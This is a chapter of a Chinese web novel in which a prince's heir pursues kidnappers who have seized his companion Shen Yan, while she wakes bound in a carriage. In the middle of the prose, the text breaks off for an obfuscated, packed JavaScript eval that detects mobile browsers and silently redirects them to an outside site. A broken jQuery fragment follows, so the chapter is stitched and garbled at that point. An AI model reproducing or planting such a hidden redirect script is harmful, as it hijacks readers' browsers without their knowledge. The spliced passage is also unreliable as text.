47. 劫匪

作品:《世子的契约侍妾

    卫王府,程思弼离开时已近宵禁时分,随后又是一场滂沱大雨。


    元琛瞅了眼外面阴沉的天色后微微皱眉,忽然感觉周围一切都在同他作对。


    不过,他从来不是什么任人拿捏之辈,往往情况越是糟糕,他反而越会被激起斗志,犹如在战场上,敌人越强大凶悍,他便越不肯服输。


    同样不肯服输的,还有他对另一个人的思念。


    起初,那种感觉就像一根纤细的羽毛,轻轻扫过心头,激起柔软微痒的触感,却怎么都挥之不去。


    等他有朝一日察觉,却已成千钧之势压在心口,令他无力承受,窒闷难当。


    外面雨声渐歇。


    元琛从桌旁拎起一把油纸伞,快步冲进沁凉的雨丝中。


    一个声音在他耳边咆哮,直吵得他脑仁疼:“荒唐!这算什么?这样做的后果,你承担得了吗?”


    巨大轰鸣吵得他头疼欲裂,脚步也随之顿住。


    片刻拖延,长庚已撑着伞从院外走来,瞧见元琛讶然道:“世子这会儿打算出门?”


    这一问将元琛的神志又拉回来一些,他没有作答,捏着伞柄的长指却是一松:“随便走走。”


    随即,好像真的只是突然来了兴致,想雨中漫步一般,他往旁边挪动了几步,接着又转身,慢吞吞往回走。


    终究还是不死心。边走,他边状似不经意随口一问:“沈娘子那边今日可有什么消息?”


    “噢,沈娘子说她今日有些忙,晚上便留在店中,不回王府了。”长庚跟在他身后说道。


    元琛步履未停,喉咙里低低应了一声。


    长庚瞅着世子的背影,心里涌上几分莫名的难过,总觉得世子今日哪里透着古怪,虽然只是擎了把伞,脚下倒像有千斤重,压得他迈不动腿似的。


    走了两步,元琛仿佛意识到什么,蓦地身形顿住,一字字像疑惑自语,又像在问长庚:“沈娘子说?”


    这句提醒了长庚,他忙道:“沈娘子适才回来过一趟,说是来取香料,想必店中有急用,取完东西便走了。”


    元琛心里咯噔一下,蓦地回身盯住长庚,凝肃、紧绷的声音将后者吓得一哆嗦:“她何时走的?”


    长庚被盯得浑身发毛,心虚道:“……就不久前,小的还以为她同您打过招呼了。”言罢似乎想到什么,疑惑道,“想必是听见程长史在……便没有进门?”


    话落,元琛的表情一点点凝固。


    须臾,像是从噩梦中醒过神,他忽然一言不发地大步地朝院外走,惨白的脸色瞬间让长庚意识到出事了。


    至于什么事,他暂时没敢问,只弱弱道了声:“世子?”


    “备马!”


    元琛头也不回地吩咐,长庚纵使一脸懵,还是忙不迭地照办。


    ——突然间怎么了这是?


    不过看样子世子确有急事,而且还十万火急。长庚自是片刻不敢耽搁,手脚麻利地将世子的乌驹马牵到直通坊外的角门边,直到元琛跨上马背,才想起什么,脱口道:“世子,您这是要——”


    “点绛唇。”元琛丢下三个字,催马冲出门去。


    长庚:“……”


    莫非点绛唇又出什么事了?


    这都已经宵禁了,世子急成这样,倒像顾不得白天黑夜,宵禁与否,下雨还是下刀子……


    可,明明方才还好端端的……


    这事不光长庚纳闷,连元琛自己也不知怎么,想到他对程思弼说的那番话被沈妍听见,一下子就慌了神。


    *


    这个季节的雨来得快去得也快,一炷香前还是瓢泼之势,此刻已然有云破月出之象。


    夜凉如水,空无一人的街心,元琛一路策马狂奔,因不受宵禁限制,很快畅行无阻穿过了两道坊门。


    不料驰到东市附近时,竟与祝颖迎面碰上。


    元琛借着月光打眼认出来人,顿时生出一股不好的预感,眉目微沉,他勒停了战马。


    前方,祝颖向他躬身叉手,神色凝重道了声:“世子。”


    猛然意识到什么,元琛心头一突,长指捏紧缰绳,沉声道:“出了何事?”


    祝颖:“属下办事不力,沈娘子……叫人给劫走了。”


    闻言,元琛只觉血流自心头忽往上涌,流经耳畔时嗡嗡作响,有一瞬,大脑空白了一下,让他骤然失去思考能力。


    但很快他便强迫自己镇定下来,开口问祝颖:“可知是被何人劫走?”


    祝颖于是将今晚发生的事快速向他交代了一遍。


    元琛边听脑子边飞速运转。


    究竟是何人劫走了沈妍?


    在他的暗卫手底下将人抓走,绝非寻常劫匪能够做到。


    眼下,他和沈妍的关系早已昭然若揭,寻常人又有谁有这个胆子同卫王府作对?


    他首先想到的竟然是他父亲卫王,但随即又否定了这个猜测。


    只因傍晚他才见过程思弼,对方明显意在敲打,还不至于到对沈妍动手那一步。


    另外,他的应对暂时也足够蒙混过关。


    除了父亲,还能有谁?


    元琛继而想到桓莹玉,不过,自从上次他将那份口供转给桓延寿,对方已然消停下来。


    他料定老东西不会再放任女儿胡来,至少短期内不会。


    那么,还有谁有这样的胆量与手段?


    元琛用力掐了掐眉心,心中隐约有个不可思议的猜测,虽然眼下尚无法肯定。


    当务之急是尽快锁定劫匪的行踪,找到沈妍。


    既然人是从点绛唇被劫走,现场说不定会留下痕迹。


    念及此,他吩咐祝颖:“先回点绛唇。”


    *


    元琛带同两名暗卫,将点绛唇里里外外及附近全部搜察了一遍,试图从中找到蛛丝马迹。


    果然,不多时,祝颖在不远处的街角捡到了一条帕子。


    这帕子她曾见沈妍拿过。祝颖心细,捡到帕子的霎那几乎立刻认出是沈妍之物。


    她第一时间将帕子拿给了元琛。


    后者将帕子攥在手中,骨节分明的长指微微打着颤,只略加思索,他便飞身跨上了战马。


    世子打算亲自去追踪劫匪?


    祝颖一愕,脱口提醒:“世子,对方人数不少,而且个个身手不俗,是否多备些人手——”


    话音未落,元琛已纵马冲出去,慌乱的马蹄声中,只撂下一句:“通知其他暗卫。”便迅速消失在夜色中。


    祝颖瞪着前方愣了愣,本就愁闷的脸又染上一层忧色。


    虽然早料到沈娘子在世子心中的分量非比寻常,但眼下见他这般反应,还是把祝颖下了一跳。


    只消稍微理智些,便不难想到,此事并非劫匪绑票那么简单。


    哪曾想世子竟是不假思索,单枪匹马冲了出去。


    这还是自家那个城府深沉、稳重周全的少主吗?


    不过,世子行事又岂是她一个小小暗卫能参透的?


    眼下唯有尽快邀集人手,全力保护世子和沈娘子的安危。


    ——越快越好!


    *


    越快找到沈妍,她生还的希望便越大。


    元琛频频催促战马,虽心急如焚,思绪却一刻未停。


    劫匪绑架沈妍时已是宵禁时分,各坊门都有武侯铺,坊内又有巡察,绑匪几乎没可能公然带着人离开。


    那么后续必有接应。


    而他们的去向不外乎两种:要么将人暂时藏匿于某坊,要么把人带出城外。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16754469|179632||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    若是前者,逐坊搜索时间长、难度高,等找到人后会发生什么,元琛甚至不敢去想……


    而若是后者,眼下去追兴许还来得及。


    愿诸天神佛能够保佑沈妍,并给他一线生机。


    元琛从不相信鬼神,但这一刻却无比希望有。


    这么想着,他来到最近的武侯铺,向值夜人打听,那武侯说按世子所问的时辰,只有一辆来往宫中的薪炭车打此经过。


    因对方手中有官署文牒,符合放行条件,武侯遂未阻拦。


    元琛忙又追问去向。那武侯说奔城南去了。


    以运送薪炭作掩护,便于隐匿、运输,堪称“劫匪”行动的完美借口。


    想到此事早有预谋,元琛眸底顿时一片森寒。


    至此,之前的某个猜测愈加清晰。


    如今在上都城,敢公然与卫王府作对的能有谁?


    他还真是小看了桓延寿!


    当初抄送那份口供给他,固然能阻止桓莹玉继续胡来,他却万没料到,老贼会在这个档口狗急跳墙。


    果真如此,就是他害了沈妍。


    思及此,元琛心口难以言喻地钝疼难忍。


    忽然,他又想到了什么,冷厉的眸光沉下来。


    那伙人并未立刻动手杀害沈妍,而是将人掳走,不排除是想与他谈条件,又或者,他本人才是他们真正的目标。


    这一发现令他心绪稍缓。


    那么按照这个推测,在他露面之前,沈妍兴许暂时还无事。


    他飞快转着念头:北境与桓延寿均心知肚明,眼下这个局面,双方哪有什么条件可谈?


    所以,对方的目标显而易见。


    加上“绑匪”如此故意暴露踪迹,这不是引他前去是什么?


    相通此节,他轻吐出一口气,却愈发纵马加快速度,如离弦之箭冲入无边夜色。


    这般单枪匹马地送上门,元琛何尝不知前方等着他的是什么。


    可是沈妍在他们手中,只消迟疑片刻,她的危险便多一分。


    元琛不敢冒这个险,也是直到此刻才知晓,涉及沈妍,他当真是输不起。


    近年来,桓延寿收拢剑南盐帮的亡命徒并大肆招揽江湖人士,干得全是见不得光的勾当。


    一想到沈妍落入这伙人手中,元琛心口便像堵了什么东西,闷得喘不上气。


    *


    胸口窒闷,头疼欲裂,沈妍迷迷糊糊睁开眼,四周鸦黑一片,她似乎正侧躺在一块硬邦邦的木板上,半边身子硌得生疼。


    此外,根据辘辘的车轮声,还有剧烈的颠簸判断,她此刻约莫是身处一辆疾驰的马车中。


    用力挣扎了一下,她试图坐起身子,却发现手脚全被捆住,连口中也被塞了东西,想喊,却仅能发出低闷的呜咽。


    沈妍很快想起自己原本是在点绛唇二楼的小作坊内,不知为何,当时忽然感觉一阵头昏,恍惚中有个黑影破窗而入,将她打晕……


    所以,她这是……被绑票了?


    又是什么人敢在天子脚下将她绑走?尤其如今她名义上还是卫世子的宠妾。


    沈妍一时想不通。


    不知过了多久,马车戛然停住。


    车门开启,有人动作粗鲁地一把将她拖下马车,继而面朝下扛在肩上。


    借着月光,沈妍看清楚她所在之处是半山腰一座破庙跟前。此外,周围还站着数名凶神恶煞的黑衣人。


    她不知这些黑衣人究竟意欲何为,一时心下慌乱,奋力挣扎起来,喉咙里发出声声呜鸣。


    她想和这些绑匪谈谈,至少弄清楚对方想图什么。


    但这伙绑匪显然并不打算理她,一个个对她的抗议恍若未闻,仿佛她只是他们随手携带的一个物件。